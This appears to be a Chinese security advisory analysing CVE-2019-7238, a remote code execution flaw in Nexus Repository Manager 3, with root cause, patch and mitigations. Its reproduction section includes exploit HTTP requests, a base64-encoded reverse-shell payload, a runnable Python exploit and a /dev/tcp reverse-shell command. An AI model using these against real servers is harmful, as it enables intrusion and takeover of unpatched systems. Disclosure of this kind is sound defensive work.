一、漏洞简介

1.1 漏洞背景

Nexus Repository Manager 是 Sonatype 公司开发的一款流行的制品仓库管理器,广泛应用于企业内部的 Maven、Docker、npm 等制品的存储和分发。2019年2月5日,Sonatype 官方发布了安全公告,披露了一个严重的远程代码执行漏洞。

该漏洞由腾讯安全云鼎实验室的 Rico 和长亭科技的 voidfyoo 发现并报告。漏洞存在于 Nexus Repository Manager 3 的 Component 组件中,由于缺少适当的访问控制,攻击者可以在未认证的情况下通过构造恶意请求执行任意代码。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2019-7238
危害等级 CRITICAL / 9.8
漏洞类型 远程代码执行漏洞
披露时间 2019-03-21
影响组件 Nexus Repository Manager
属性 详情
CVE编号 CVE-2019-7238
危害等级 严重(Critical)
CVSS评分 9.8(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
漏洞类型 远程代码执行(RCE)/ 访问控制缺失
利用条件 无需认证,网络可达
影响组件 nexus-coreui-plugin 组件

补充核验信息:公开时间:2019-03-21;NVD 评分:9.8(CRITICAL)。

二、影响范围

2.1 受影响的版本

  • Nexus Repository Manager 3 OSS/Pro 版本 3.6.2 至 3.14.0(包含)

具体受影响版本: - 3.6.2 - 3.7.0 - 3.7.1 - 3.8.0 - 3.8.2 - 3.9.0 - 3.9.2 - 3.10.0 - 3.10.3 - 3.11.0 - 3.11.2 - 3.12.0 - 3.12.1 - 3.13.0 - 3.14.0

2.2 不受影响的版本

  • Nexus Repository Manager 3 OSS/Pro 3.15.0 及以上版本
  • Nexus Repository Manager 2.x 系列

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Nexus Repository Manager 3 服务正常运行
  2. 存在至少一个仓库(如 maven-releases)
  3. 仓库中存在至少一个组件(artifact)
  4. 攻击者能够访问 Nexus 服务的 HTTP 端口(默认8081)

三、漏洞详情与原理解析

3.1 漏洞触发机制

漏洞位于 org.sonatype.nexus.coreui.ComponentComponent 类的 previewAssets 方法中。该方法用于预览仓库中的资产,接受用户传入的 JEXL/CSEL 表达式参数。

漏洞调用链:

ComponentComponent.previewAssets()
    ↓
BrowseService.previewAssets()
    ↓
PreviewAssetsSqlBuilder.buildWhereClause()
    ↓
ContentExpressionFunction.execute()
    ↓
SelectorManager.evaluate()
    ↓
JexlSelector.evaluate()  ← 执行恶意 JEXL 表达式

核心漏洞代码(ComponentComponent.groovy:185):

@Named
@Singleton
@DirectAction(action = 'coreui_Component')
class ComponentComponent extends DirectComponentSupport {

    @DirectMethod
    @Timed
    @ExceptionMetered
    PagedResponse<AssetXO> previewAssets(final StoreLoadParameters parameters) {
        String repositoryName = parameters.getFilter('repositoryName')
        String expression = parameters.getFilter('expression')  // 用户可控
        String type = parameters.getFilter('type')

        if (!expression || !type || !repositoryName) {
            return null
        }

        RepositorySelector repositorySelector = RepositorySelector.fromSelector(repositoryName)

        // 验证表达式,但验证不充分
        if (type == JexlSelector.TYPE) {
            jexlExpressionValidator.validate(expression)
        } else if (type == CselSelector.TYPE) {
            cselExpressionValidator.validate(expression)
        }

        // 调用 browseService 执行表达式
        def result = browseService.previewAssets(
            repositorySelector,
            selectedRepositories,
            expression,  // 传入恶意表达式
            toQueryOptions(parameters))

        return new PagedResponse<AssetXO>(result.total, result.results)
    }
}

Expression 执行流程:

// ContentExpressionFunction.java
public Object execute(final Object iThis, final OIdentifiable iCurrentRecord,
                      final Object iCurrentResult, final Object[] iParams,
                      final OCommandContext iContext) {
    OIdentifiable identifiable = (OIdentifiable) iParams[0];
    ODocument asset = identifiable.getRecord();
    String jexlExpression = (String) iParams[1];  // 恶意表达式

    return contentAuthHelper.checkAssetPermissions(asset, membersForAuth) &&
           checkJexlExpression(asset, jexlExpression, format);
}

private boolean checkJexlExpression(final ODocument asset,
                                    final String jexlExpression,
                                    final String format) {
    SelectorConfiguration selectorConfiguration = new SelectorConfiguration();
    selectorConfiguration.setAttributes(ImmutableMap.of("expression", jexlExpression));
    selectorConfiguration.setType(JexlSelector.TYPE);

    // 执行表达式!
    return selectorManager.evaluate(selectorConfiguration, variableSource);
}

3.2 源码层面的根因分析(结合源码与补丁对比)

根本原因:

  1. 访问控制缺失previewAssets 方法缺少 @RequiresPermissions 注解,导致未认证用户可调用
  2. JEXL 表达式注入:用户输入的表达式直接被 JEXL 引擎执行,未进行充分过滤
  3. 危险的 JEXL 功能:JEXL 允许调用 Java 类和方法,可执行任意命令

JEXL 表达式能力:

// JEXL 允许执行如下操作:
// 1. 创建对象
new('java.lang.Runtime')

// 2. 调用静态方法
Class.forName('java.lang.Runtime')

// 3. 访问系统属性
System.getProperty('os.name')

// 4. 执行命令
Runtime.getRuntime().exec('id')

漏洞修复方案(官方补丁):

@DirectMethod
@Timed
@ExceptionMetered
@RequiresPermissions('nexus:selectors:*')  // 添加权限检查
PagedResponse<AssetXO> previewAssets(final StoreLoadParameters parameters) {
    // ...
}

四、漏洞复现(可选)

4.1 环境搭建

使用 Docker 搭建漏洞环境:

# 拉取受影响版本镜像
docker pull sonatype/nexus3:3.14.0

# 启动容器
docker run -d -p 8081:8081 --name nexus-cve-2019-7238 sonatype/nexus3:3.14.0

# 等待服务启动(约2-3分钟)
docker logs -f nexus-cve-2019-7238

# 访问 http://localhost:8081 验证服务正常

准备测试数据:

# 登录 Nexus(默认账号 admin/admin123)
# 创建一个 maven2 (hosted) 仓库
# 上传一个测试 jar 包

或使用 vulhub 环境:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/nexus/CVE-2019-7238
docker-compose up -d

4.2 PoC 演示与测试过程

基础检测 PoC(无需认证):

POST /service/extdirect HTTP/1.1
Host: target:8081
Content-Type: application/json
Content-Length: 213

{
    "action": "coreui_Component",
    "type": "rpc",
    "tid": 8,
    "method": "previewAssets",
    "data": [{
        "page": 1,
        "start": 0,
        "limit": 50,
        "filter": [
            {"property": "repositoryName", "value": "*"},
            {"property": "expression", "value": "1==1"},
            {"property": "type", "value": "jexl"}
        ]
    }]
}

命令执行 PoC(反弹 shell):

POST /service/extdirect HTTP/1.1
Host: target:8081
Content-Type: application/json
Content-Length: 580

{
    "action": "coreui_Component",
    "type": "rpc",
    "tid": 8,
    "method": "previewAssets",
    "data": [{
        "page": 1,
        "start": 0,
        "limit": 50,
        "filter": [
            {"property": "repositoryName", "value": "*"},
            {"property": "expression", "value": "1..runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}')"},
            {"property": "type", "value": "jexl"}
        ]
    }]
}

Python 自动化 PoC:

#!/usr/bin/env python3
# CVE-2019-7238 PoC
import requests
import sys

def exploit(target, command):
    url = f"http://{target}/service/extdirect"

    payload = {
        "action": "coreui_Component",
        "type": "rpc",
        "tid": 8,
        "method": "previewAssets",
        "data": [{
            "page": 1,
            "start": 0,
            "limit": 50,
            "filter": [
                {"property": "repositoryName", "value": "*"},
                {"property": "expression", "value": f"1..runtime.getRuntime().exec('{command}')"},
                {"property": "type", "value": "jexl"}
            ]
        }]
    }

    headers = {"Content-Type": "application/json"}

    try:
        response = requests.post(url, json=payload, headers=headers, timeout=10)
        if response.status_code == 200:
            print("[+] Command executed successfully")
            print(response.text)
        else:
            print(f"[-] Request failed: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target:port> <command>")
        sys.exit(1)

    exploit(sys.argv[1], sys.argv[2])

使用方式:

# 测试漏洞存在
python3 exploit.py 192.168.1.100:8081 "touch /tmp/pwned"

# 反弹 shell
python3 exploit.py 192.168.1.100:8081 "bash -c 'bash -i >& /dev/tcp/192.168.1.200/4444 0>&1'"

五、修复建议与缓解措施

5.1 官方版本升级建议

强烈建议升级至以下安全版本:

  • Nexus Repository Manager 3.15.0 或更高版本

升级步骤:

  1. 备份现有数据和配置:
# 备份数据目录
cp -r /nexus-data /nexus-data-backup

# 导出配置
# 通过 UI: Administration -> System -> Tasks -> Create Task -> Export configurations
  1. 下载并安装新版本:
# 下载最新版本
wget https://download.sonatype.com/nexus/3/latest-unix.tar.gz

# 解压并配置
tar -xzf latest-unix.tar.gz
cd nexus-3.x.x-x
  1. 启动新版本并验证:
./bin/nexus start
./bin/nexus status

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

如果无法立即升级,可采取以下临时措施:

  1. 网络访问控制:
# 使用防火墙限制访问
iptables -A INPUT -p tcp --dport 8081 -s <trusted_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP
  1. 反向代理限制:
# Nginx 配置,阻止对 /service/extdirect 的未授权访问
location /service/extdirect {
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://nexus:8081;
}
  1. WAF 规则:
# ModSecurity 规则示例
SecRule REQUEST_URI "@contains /service/extdirect" \
    "id:1001,phase:1,deny,status:403,msg:'Block Nexus extdirect'"
  1. 禁用 Component preview 功能(临时):
  2. 修改配置文件禁用相关功能模块

六、参考信息 / 参考链接

6.1 官方安全通告

  • Sonatype 官方公告: https://support.sonatype.com/hc/en-us/articles/360017310793
  • NVD 漏洞详情: https://nvd.nist.gov/vuln/detail/CVE-2019-7238
  • CISA 已知被利用漏洞目录: https://www.cisa.gov/known-exploited-vulnerabilities-catalog

6.2 其他技术参考资料

  • Chybeta 分析文章: https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-分析-【CVE-2019-7238】/
  • 先知社区分析: https://xz.aliyun.com/t/4136
  • GitHub PoC: https://github.com/mpgn/CVE-2019-7238
  • Vulhub 漏洞环境: https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238